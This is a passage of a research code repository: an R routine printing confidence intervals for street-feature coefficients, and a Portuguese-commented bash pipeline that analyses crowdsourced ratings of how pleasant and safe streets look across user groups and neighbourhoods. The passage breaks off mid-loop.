higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "graff", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildDiffAges")$value
normValue <- as.double(filter(coeffData, variable=="buildDiffAgesN")$value)
randomValue <- filter(coeffData, variable=="rbuildDiffAges")$value
sdValue <- filter(coeffData, variable=="rsdBuildDiffAges")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "buildDiffAges", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="streetWid")$value
normValue <- as.double(filter(coeffData, variable=="streetWidN")$value)
randomValue <- filter(coeffData, variable=="rstreetWid")$value
sdValue <- filter(coeffData, variable=="rsdStreetWid")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "streetWid", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="sidewalkWid")$value
normValue <- as.double(filter(coeffData, variable=="sidewalkWidN")$value)
randomValue <- filter(coeffData, variable=="rsidewalkWid")$value
sdValue <- filter(coeffData, variable=="rsdSidewalkWid")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "sidewalkWid", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="debris")$value
normValue <- as.double(filter(coeffData, variable=="debrisN")$value)
randomValue <- filter(coeffData, variable=="rdebris")$value
sdValue <- filter(coeffData, variable=="rsdDebris")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "debris", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="pavement")$value
normValue <- as.double(filter(coeffData, variable=="pavementN")$value)
randomValue <- filter(coeffData, variable=="rpavement")$value
sdValue <- filter(coeffData, variable=="rsdPavement")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "pavement", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="landscape")$value
normValue <- as.double(filter(coeffData, variable=="landscapeN")$value)
randomValue <- filter(coeffData, variable=="rlandscape")$value
sdValue <- filter(coeffData, variable=="rsdLandscape")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "landscape", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propStreetWall")$value
normValue <- as.double(filter(coeffData, variable=="propStreetWallN")$value)
randomValue <- filter(coeffData, variable=="rpropStreetWall")$value
sdValue <- filter(coeffData, variable=="rsdPropStreetWall")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "propStreetWall", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propWind")$value
normValue <- as.double(filter(coeffData, variable=="propWindN")$value)
randomValue <- filter(coeffData, variable=="rpropWind")$value
sdValue <- filter(coeffData, variable=="rsdPropWind")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "propWind", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="longSight")$value
normValue <- as.double(filter(coeffData, variable=="longSightN")$value)
randomValue <- filter(coeffData, variable=="rlongSight")$value
sdValue <- filter(coeffData, variable=="rsdLongSight")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "longSight", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propSkyAhead")$value
normValue <- as.double(filter(coeffData, variable=="propSkyAheadN")$value)
randomValue <- filter(coeffData, variable=="rpropSkyAhead")$value
sdValue <- filter(coeffData, variable=="rsdPropSkyAhead")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "propSkyAhead", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propSkyAcross")$value
normValue <- as.double(filter(coeffData, variable=="propSkyAcrossN")$value)
randomValue <- filter(coeffData, variable=="rpropSkyAcross")$value
sdValue <- filter(coeffData, variable=="rsdPropSkyAcross")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "propSkyAcross", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildHeight")$value
normValue <- as.double(filter(coeffData, variable=="buildHeightN")$value)
randomValue <- filter(coeffData, variable=="rbuildHeight")$value
sdValue <- filter(coeffData, variable=="rsdBuildHeight")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "buildHeight", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propActiveUse")$value
normValue <- as.double(filter(coeffData, variable=="propActiveUseN")$value)
randomValue <- filter(coeffData, variable=="rpropActiveUse")$value
sdValue <- filter(coeffData, variable=="rsdPropActiveUse")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "propActiveUse", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
}
#Main
args <- commandArgs(trailingOnly = TRUE)
if (length(args) > 1){
file1 <- args[1]
coeffData <- read.table(file1, header=TRUE)
convertSummary(coeffData)
}
<file_sep>#!/bin/bash
python analisaUsuarios.py run.csv
#Krippendorfs alpha for general data (falta revisar)
python preparaConsenso.py usersInfoSummary.dat
Rscript krippMoran.R kripp > kripp.dat
#Separa grupos de usuarios
python selectRunPerUsers.py run.csv media.dat > runMedia.csv
python selectRunPerUsers.py run.csv baixa.dat > runBaixa.csv
python selectRunPerUsers.py run.csv adulto.dat > runAdulto.csv
python selectRunPerUsers.py run.csv jovem.dat > runJovem.csv
python selectRunPerUsers.py run.csv solteiro.dat > runSolteiro.csv
python selectRunPerUsers.py run.csv casado.dat > runCasado.csv
python selectRunPerUsers.py run.csv feminino.dat > runFeminino.csv
python selectRunPerUsers.py run.csv masculino.dat > runMasculino.csv
python selectRunPerUsers.py run.csv catole.dat > runCatole.csv
python selectRunPerUsers.py run.csv centro.dat > runCentro.csv
python selectRunPerUsers.py run.csv liberdade.dat > runLiberdade.csv
python selectRunPerUsers.py run.csv notcatole.dat > runNotCatole.csv
python selectRunPerUsers.py run.csv notcentro.dat > runNotCentro.csv
python selectRunPerUsers.py run.csv notliberdade.dat > runNotLiberdade.csv
mv media.dat baixa.dat adulto.dat jovem.dat solteiro.dat casado.dat feminino.dat masculino.dat catole.dat centro.dat liberdade.dat notcentro.dat notliberdade.dat notcatole.dat idsGrupos
#Analisa QScores
python analisaQScore.py run.csv
mv first.dat first_vote.dat
python analisaQScore.py runAdulto.csv 1000
mv first.dat firstAdulto.dat
mv all.dat allAdulto.dat
python analisaQScore.py runJovem.csv 1000
mv first.dat firstJovem.dat
mv all.dat allJovem.dat
python analisaQScore.py runSolteiro.csv 1000
mv first.dat firstSolteiro.dat
mv all.dat allSolteiro.dat
python analisaQScore.py runCasado.csv 1000
mv first.dat firstCasado.dat
mv all.dat allCasado.dat
python analisaQScore.py runMedia.csv 1000
mv first.dat firstMedia.dat
mv all.dat allMedia.dat
python analisaQScore.py runBaixa.csv 1000
mv first.dat firstBaixa.dat
mv all.dat allBaixa.dat
python analisaQScore.py runFeminino.csv 1000
mv first.dat firstFeminino.dat
mv all.dat allFeminino.dat
python analisaQScore.py runMasculino.csv 1000
mv first.dat firstMasculino.dat
mv all.dat allMasculino.dat
python analisaQScore.py runCatole.csv 1000
mv first.dat firstCatole.dat
mv all.dat allCatole.dat
python analisaQScore.py runCentro.csv 1000
mv first.dat firstCentro.dat
mv all.dat allCentro.dat
python analisaQScore.py runLiberdade.csv 1000
mv first.dat firstLiberdade.dat
mv all.dat allLiberdade.dat
python analisaQScore.py runNotCatole.csv 1000
mv first.dat firstNotCatole.dat
mv all.dat allNotCatole.dat
python analisaQScore.py runNotCentro.csv 1000
mv first.dat firstNotCentro.dat
mv all.dat allNotCentro.dat
python analisaQScore.py runNotLiberdade.csv 1000
mv first.dat firstNotLiberdade.dat
mv all.dat allNotLiberdade.dat
sort -k 3 -r first_vote.dat > first_vote_ordenado.dat
sort -k 3 -r firstMedia.dat > firsMediaOrd.dat
sort -k 3 -r firstBaixa.dat > firsBaixaOrd.dat
sort -k 3 -r firstSolteiro.dat > firsSolteiroOrd.dat
sort -k 3 -r firstCasado.dat > firsCasadoOrd.dat
sort -k 3 -r firstFeminino.dat > firsFemininoOrd.dat
sort -k 3 -r firstMasculino.dat > firsMasculinoOrd.dat
sort -k 3 -r firstJovem.dat > firsJovemOrd.dat
sort -k 3 -r firstCatole.dat > firsCatoleOrd.dat
sort -k 3 -r firstCentro.dat > firsCentroOrd.dat
sort -k 3 -r firstLiberdade.dat > firsLiberdadeOrd.dat
sort -k 3 -r firstNotCatole.dat > firsNotCatoleOrd.dat
sort -k 3 -r firstNotCentro.dat > firsNotCentroOrd.dat
sort -k 3 -r firstNotLiberdade.dat > firsNotLiberdadeOrd.dat
sort -k 3 -r allMedia.dat > allMediaOrd.dat
sort -k 3 -r allBaixa.dat > allBaixaOrd.dat
sort -k 3 -r allSolteiro.dat > allSolteiroOrd.dat
sort -k 3 -r allCasado.dat > allCasadoOrd.dat
sort -k 3 -r allFeminino.dat > allFemininoOrd.dat
sort -k 3 -r allMasculino.dat > allMasculinoOrd.dat
sort -k 3 -r allJovem.dat > allJovemOrd.dat
sort -k 3 -r allCatole.dat > allCatoleOrd.dat
sort -k 3 -r allCentro.dat > allCentroOrd.dat
sort -k 3 -r allLiberdade.dat > allLiberdadeOrd.dat
sort -k 3 -r allNotCatole.dat > allNotCatoleOrd.dat
sort -k 3 -r allNotCentro.dat > allNotCentroOrd.dat
sort -k 3 -r allNotLiberdade.dat > allNotLiberdadeOrd.dat
#Calculating Moran I (falta revisar)
python extractLatLongStreet.py first_vote.dat > newFirst.dat
./processInputLatLong.sh newFirst.dat
rm newFirst.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLong.dat > streetsQScoresLatLongAgra.dat
grep "seguro?" streetsQScoresLatLong.dat > streetsQScoresLatLongSeg.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgra.dat streetsQScoresLatLongSeg.dat > moran.dat
#TODO Adicionar krippMoran por grupo!
#Encontra interseccao entre qscores gerados
python encontraInterseccao.py firsBaixaOrd.dat firsMediaOrd.dat > intersectionBaixaMedia.dat
python encontraInterseccao.py firsSolteiroOrd.dat firsCasadoOrd.dat > intersectionSolteiroCasado.dat
python encontraInterseccao.py firsFemininoOrd.dat firsMasculinoOrd.dat > intersectionFemininoMasculino.dat
python encontraInterseccao.py firsJovemOrd.dat firsAdultoOrd.dat > intersectionJovemAdulto.dat
python encontraInterseccao.py firsCentroOrd.dat firsNotCentroOrd.dat > intersectionCentro.dat
python encontraInterseccao.py firsLiberdadeOrd.dat firsNotLiberdadeOrd.dat > intersectionLiberdade.dat
python encontraInterseccao.py firsCatoleOrd.dat firsNotCatoleOrd.dat > intersectionCatole.dat
#Prepara paginas html e arquivos de interseccao ordenados (revisar a partir daqui)
python preparaHTML.py first_vote_ordenado.dat
python preparaHTML.py firsJovemOrd.dat intersectionJovemAdulto.dat > firsJovemOrdInter.dat
mv question.html questionJovem.html
python preparaHTML.py firsAdultoOrd.dat intersectionJovemAdulto.dat > firsAdultoOrdInter.dat
mv question.html questionAdulto.html
python preparaHTML.py firsMediaOrd.dat intersectionBaixaMedia.dat > firsMediaOrdInter.dat
mv question.html questionMedia.html
python preparaHTML.py firsBaixaOrd.dat intersectionBaixaMedia.dat > firsBaixaOrdInter.dat
mv question.html questionBaixa.html
python preparaHTML.py firsFemininoOrd.dat intersectionFemininoMasculino.dat > firsFemininoOrdInter.dat
mv question.html questionFeminino.html
python preparaHTML.py firsMasculinoOrd.dat intersectionFemininoMasculino.dat > firsMasculinoOrdInter.dat
mv question.html questionMasculino.html
python preparaHTML.py firsCasadoOrd.dat intersectionSolteiroCasado.dat > firsCasadoOrdInter.dat
mv question.html questionCasado.html
python preparaHTML.py firsSolteiroOrd.dat intersectionSolteiroCasado.dat > firsSolteiroOrdInter.dat
mv question.html questionSolteiro.html
python preparaHTML.py firsCentroOrd.dat intersectionCentro.dat > firsCentroOrdInter.dat
grep "centro" firsCentroOrdInter.dat > tmp.dat
mv tmp.dat firsCentroOrdInter.dat
mv question.html questionCentro.html
python preparaHTML.py firsNotCentroOrd.dat intersectionCentro.dat > firsNotCentroOrdInter.dat
grep "centro" firsNotCentroOrdInter.dat > tmp.dat
mv tmp.dat firsNotCentroOrdInter.dat
mv question.html questionNotCentro.html
python preparaHTML.py firsCatoleOrd.dat intersectionCatole.dat > firsCatoleOrdInter.dat
grep "catole" firsCatoleOrdInter.dat > tmp.dat
mv tmp.dat firsCatoleOrdInter.dat
mv question.html questionCatole.html
python preparaHTML.py firsNotCatoleOrd.dat intersectionCatole.dat > firsNotCatoleOrdInter.dat
grep "catole" firsNotCatoleOrdInter.dat > tmp.dat
mv tmp.dat firsNotCatoleOrdInter.dat
mv question.html questionNotCatole.html
python preparaHTML.py firsLiberdadeOrd.dat intersectionLiberdade.dat > firsLiberdadeOrdInter.dat
grep "liberdade" firsLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat firsLiberdadeOrdInter.dat
mv question.html questionLiberdade.html
python preparaHTML.py firsNotLiberdadeOrd.dat intersectionLiberdade.dat > firsNotLiberdadeOrdInter.dat
grep "liberdade" firsNotLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat firsNotLiberdadeOrdInter.dat
mv question.html questionNotLiberdade.html
mv question*.html rankings
#Combina RGB, #Linhas e criterios
python combinaRGBQScoreLinhas.py rgb.dat firsAdultoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAdulto.dat
mv rgbQScoreSeg.dat rgbQScoreSegAdulto.dat
python combinaRGBQScoreLinhas.py rgb.dat firsJovemOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradJovem.dat
mv rgbQScoreSeg.dat rgbQScoreSegJovem.dat
python combinaRGBQScoreLinhas.py rgb.dat firsMediaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradMedia.dat
mv rgbQScoreSeg.dat rgbQScoreSegMedia.dat
python combinaRGBQScoreLinhas.py rgb.dat firsBaixaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradBaixa.dat
mv rgbQScoreSeg.dat rgbQScoreSegBaixa.dat
python combinaRGBQScoreLinhas.py rgb.dat firsFemininoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradFeminino.dat
mv rgbQScoreSeg.dat rgbQScoreSegFeminino.dat
python combinaRGBQScoreLinhas.py rgb.dat firsMasculinoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradMasculino.dat
mv rgbQScoreSeg.dat rgbQScoreSegMasculino.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCasadoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCasado.dat
mv rgbQScoreSeg.dat rgbQScoreSegCasado.dat
python combinaRGBQScoreLinhas.py rgb.dat firsSolteiroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradSolteiro.dat
mv rgbQScoreSeg.dat rgbQScoreSegSolteiro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsNotCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradNotCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegNotCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegCatole.dat
python combinaRGBQScoreLinhas.py rgb.dat firsNotCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradNotCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegNotCatole.dat
#Analisa Correlacao
Rscript analisaCorrelacao.R rgbQScoreAgradMedia.dat rgbQScoreSegMedia.dat > correlacaoMedia.dat
Rscript analisaCorrelacao.R rgbQScoreAgradBaixa.dat rgbQScoreSegBaixa.dat > correlacaoBaixa.dat
Rscript analisaCorrelacao.R rgbQScoreAgradSolteiro.dat rgbQScoreSegSolteiro.dat > correlacaoSolteiro.dat
Rscript analisaCorrelacao.R rgbQScoreAgradCasado.dat rgbQScoreSegCasado.dat > correlacaoCasado.dat
Rscript analisaCorrelacao.R rgbQScoreAgradJovem.dat rgbQScoreSegJovem.dat > correlacaoJovem.dat
Rscript analisaCorrelacao.R rgbQScoreAgradAdulto.dat rgbQScoreSegAdulto.dat > correlacaoAdulto.dat
Rscript analisaCorrelacao.R rgbQScoreAgradFeminino.dat rgbQScoreSegFeminino.dat > correlacaoFeminino.dat
Rscript analisaCorrelacao.R rgbQScoreAgradMasculino.dat rgbQScoreSegMasculino.dat > correlacaoMasculino.dat
#TODO adicionar conhecer bairros
mv *.pdf correlacao*.dat correlacao/
#Analisa Regressao
Rscript analisaRegressao.R rgbQScoreAgradMedia.dat rgbQScoreSegMedia.dat > regressaoMedia.dat
Rscript analisaRegressao.R rgbQScoreAgradBaixa.dat rgbQScoreSegBaixa.dat > regressaoBaixa.dat
Rscript analisaRegressao.R rgbQScoreAgradSolteiro.dat rgbQScoreSegSolteiro.dat > regressaoSolteiro.dat
Rscript analisaRegressao.R rgbQScoreAgradCasado.dat rgbQScoreSegCasado.dat > regressaoCasado.dat
Rscript analisaRegressao.R rgbQScoreAgradJovem.dat rgbQScoreSegJovem.dat > regressaoJovem.dat
Rscript analisaRegressao.R rgbQScoreAgradAdulto.dat rgbQScoreSegAdulto.dat > regressaoAdulto.dat
Rscript analisaRegressao.R rgbQScoreAgradFeminino.dat rgbQScoreSegFeminino.dat > regressaoFeminino.dat
Rscript analisaRegressao.R rgbQScoreAgradMasculino.dat rgbQScoreSegMasculino.dat > regressaoMasculino.dat
#TODO adicionar conhecer bairros
mv *.pdf regressao*.dat correlacao/
#Kendall tau distance
rm -f kendall.dat
grep "agrad" first_vote_ordenado.dat > agradGeral.dat #General ranking data
grep "seg" first_vote_ordenado.dat > segGeral.dat
#Casados e Solteiros
echo " Cas x Solteiro Agrad" >> kendall.dat
grep "agrad" firsCasadoOrdInter.dat > ranking1.dat
grep "agrad" firsSolteiroOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
#Selecting photos from general ranking that were considered in current rankings
echo " Cas x Geral Agrad" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm -f ranking3.dat
while read photo ; do
grep $photo agradGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Sol x Geral Agrad" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Cas x Solteiro Seg" >> kendall.dat
grep "seg" firsCasadoOrdInter.dat > ranking1.dat
grep "seg" firsSolteiroOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Cas x Geral Seg" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Sol x Geral Seg" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
#Baixa e Media
echo " Baixa x Media Agrad" >> kendall.dat
grep "agrad" firsBaixaOrdInter.dat > ranking1.dat
grep "agrad" firsMediaOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Baixa x Geral Agrad" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Media x Geral Agrad" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Baixa x Media Seg" >> kendall.dat
grep "seg" firsBaixaOrdInter.dat > ranking1.dat
grep "seg" firsMediaOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Baixa x Geral Seg" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Media x Geral Seg" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
#Fem e Masc
echo " Fem x Masc Agrad" >> kendall.dat
grep "agrad" firsFemininoOrdInter.dat > ranking1.dat
grep "agrad" firsMasculinoOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Fem x Geral Agrad" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Masc x Geral Agrad" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Fem x Masc Seg" >> kendall.dat
grep "seg" firsFemininoOrdInter.dat > ranking1.dat
grep "seg" firsMasculinoOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Fem x Geral Seg" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Masc x Geral Seg" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
#Jovem e Adulto
echo " Jov x Adu Agrad" >> kendall.dat
grep "agrad" firsJovemOrdInter.dat > ranking1.dat
grep "agrad" firsAdultoOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Jovem x Geral Agrad" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
